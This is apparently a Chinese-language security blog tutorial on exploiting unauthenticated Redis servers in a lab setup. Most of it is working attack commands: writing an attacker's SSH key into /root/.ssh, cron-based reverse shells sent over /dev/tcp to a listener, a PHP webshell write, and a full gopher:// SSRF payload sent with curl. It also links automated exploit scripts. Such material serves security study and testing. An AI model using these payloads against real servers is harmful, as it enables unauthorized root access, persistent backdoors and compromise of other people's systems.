Redis未授权访问
About Redis
简介
redis是一种key-value键值对的非关系型数据库,默认运行在6379端口
它启动时不会像apache一样,以一种www-data低权限身份运行。而是以运行者的身份,例如用root权限直接运行redis时,redis的权限就是root权限
其次它的默认配置是无需密码的,也就造成了默认的未授权访问
redis还支持本地存储,也就导致了任意文件写入。从而可以写入私钥,利用私钥直接ssh登录服务器。
一些常用命令
连接redis
1 | redis-cli -h 192.168.85.132 |
查看版本信息
1 | 192.168.85.132:6379>info |
查看键为x的值
1 | 192.168.85.132:6379>get x |
查看所有键
1 | 192.168.85.132:6379>keys * |
设置x的值为test
1 | 192.168.85.132:6379>set x "test" |
删除所有键
1 | 192.168.85.132:6379>flushall |
设置redis本地存储的文件夹和文件名
1 | 192.168.85.132:6379>config set dir /root/.ssh |
漏洞环境搭建
攻击机
操作系统:ubuntu 16.04
ip :192.168.85.128
安装redis
1 | sudo apt-get update |
靶机
操作系统: centos 6.5
ip :192.168.85.132
下载编译redis
1 | wget http://download.redis.io/releases/redis-3.2.0.tar.gz |
修改下配置文件,不然默认虽然是无密码,但是会有protected模式,导致无法从外部主机连接
1 | vim redis.conf |
bind 127.0.0.1前面加上#号 protected-mode设为no
启动redis
1 | ./src/redis-server redis.conf |
写入ssh-keygen公钥
现在下先在本地生成一对密钥
1 | kingkk@ubuntu:~/.ssh$ ssh-keygen -t rsa |
这样就可以在~/.ssh目录下生成一对id_rsa
、id_rsa.pub
然后连接靶机redis
1 | kingkk@ubuntu:~/test/redis$ redis-cli -h 192.168.85.132 # 连接靶机 |
这样,我们就把公钥写入对方的服务器了,直接用生成的私钥连接即可
1 | kingkk@ubuntu:~/.ssh$ ssh -i id_rsa root@192.168.85.132 |
假如报了如下错误
1 | sign_and_send_pubkey: signing failed: agent refused operation |
运行下如下两句即可
1 | eval "$(ssh-agent -s)" |
利用计划任务反弹shell
先开一个终端监听本地的23333端口
1 | nc -nlvp 23333 |
利用之前类似的文件写入,写入定时命令
1 | 192.168.85.132:6379> set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.85.128/23333 0<&1 2>&1\n" |
需要等待一会,一般一分钟之内吧,nc就能收到反弹回来的shell了
写入webshell
当redis权限较低,上面两种方法都行不通的时候,可以尝试往web服务中写入一句话,获取webshell
1 | 192.168.85.132:6379> set x "<?php phpinfo();?>" |
这样,就能在根目录下生成shell.php。访问一下
结合SSRF
之前能看到,默认情况下虽然是没有密码,但是会开启protected
保护模式
在这情况下,我们尝试连接一下对方redis
1 | kingkk@ubuntu:~/test/redis$ redis-cli -h 192.168.85.132 |
可以看到保护模式拒绝了redis的远程连接,所以经常redis都是配合着ssrf这个可以伪造身份的攻击方式一起进行攻击
gopher协议
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。 Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
可以利用gopher协议传输redis的数据报文,达到类似之前对redis的连接、设置、存储操作
抓取数据报文
在靶机中利用socat抓取发往redis的数据报文
1 | socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 |
在攻击机中连接靶机的4444端口,重新发送攻击payload
这里先将要执行的命令写入了shell.sh中,方便一次性执行完毕
1 | echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 |
然后在把靶机中执行
1 | ./shell.sh 192.168.85.132 4444 |
返回五个OK就表示执行成功了
然后就能看到靶机中接受到的数据流了
然后将这些数据流复制下来,需要将数据流中的127.0.0.1/2333
转化成所需要的ip地址和端口
同时需要修改$61\r
中的61数字,表示数据的长度
如我这里需要改成192.168.85.128/23333
比原先多了6个字符串就是$67\r
利用gopher进行攻击
然后将数据转换成gopher协议的格式
1 | #coding: utf-8 |
然后在本地先监听23333端口
再利用curl发送payload
1 | curl -v 'gopher://192.168.85.132:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$67%0d%0a-e %0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.85.128/23333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a' |
等待一会,就能看到nc接到了反弹回来的shell
在php中的ssrf的话需要安装gopher协议拓展,就可以达到一样的效果。
自动化利用
我将之前的三种利用方式都写成了.sh的脚本形式,方便使用,只需本地要提前安装好redis
https://github.com/kingkaki/Exploit-scripts/tree/master/redis 还包含了socat捕获的流量报文样例
演示
脚本
shell.sh
用法
1 | ./shell.sh [redis-ip] [redis端口] [接收shell的ip] |
默认端口为23333
ssh.sh
用法
1 | ./ssh.sh [redis-ip] [redis端口] |
要提前在本地.ssh
目录用ssh-keygen -t rsa
生成一对密钥
然后用私钥登录即可
webshell.sh
用法
1 | ./webshell.sh [redis-ip] [redis端口] |
会在/var/www/html
目录下生成shell.php一句话,默认密码redis
一些问题
由于flushall
破坏性太大,没写入脚本中。
在原先存在一些数据的时候会影响成功率,需要的话可以自行添加
Reference Link
http://p0sec.net/index.php/archives/69/
https://xz.aliyun.com/t/1800#toc-2
https://joychou.org/web/hackredis-enhanced-edition-script.html#directory092928099425939341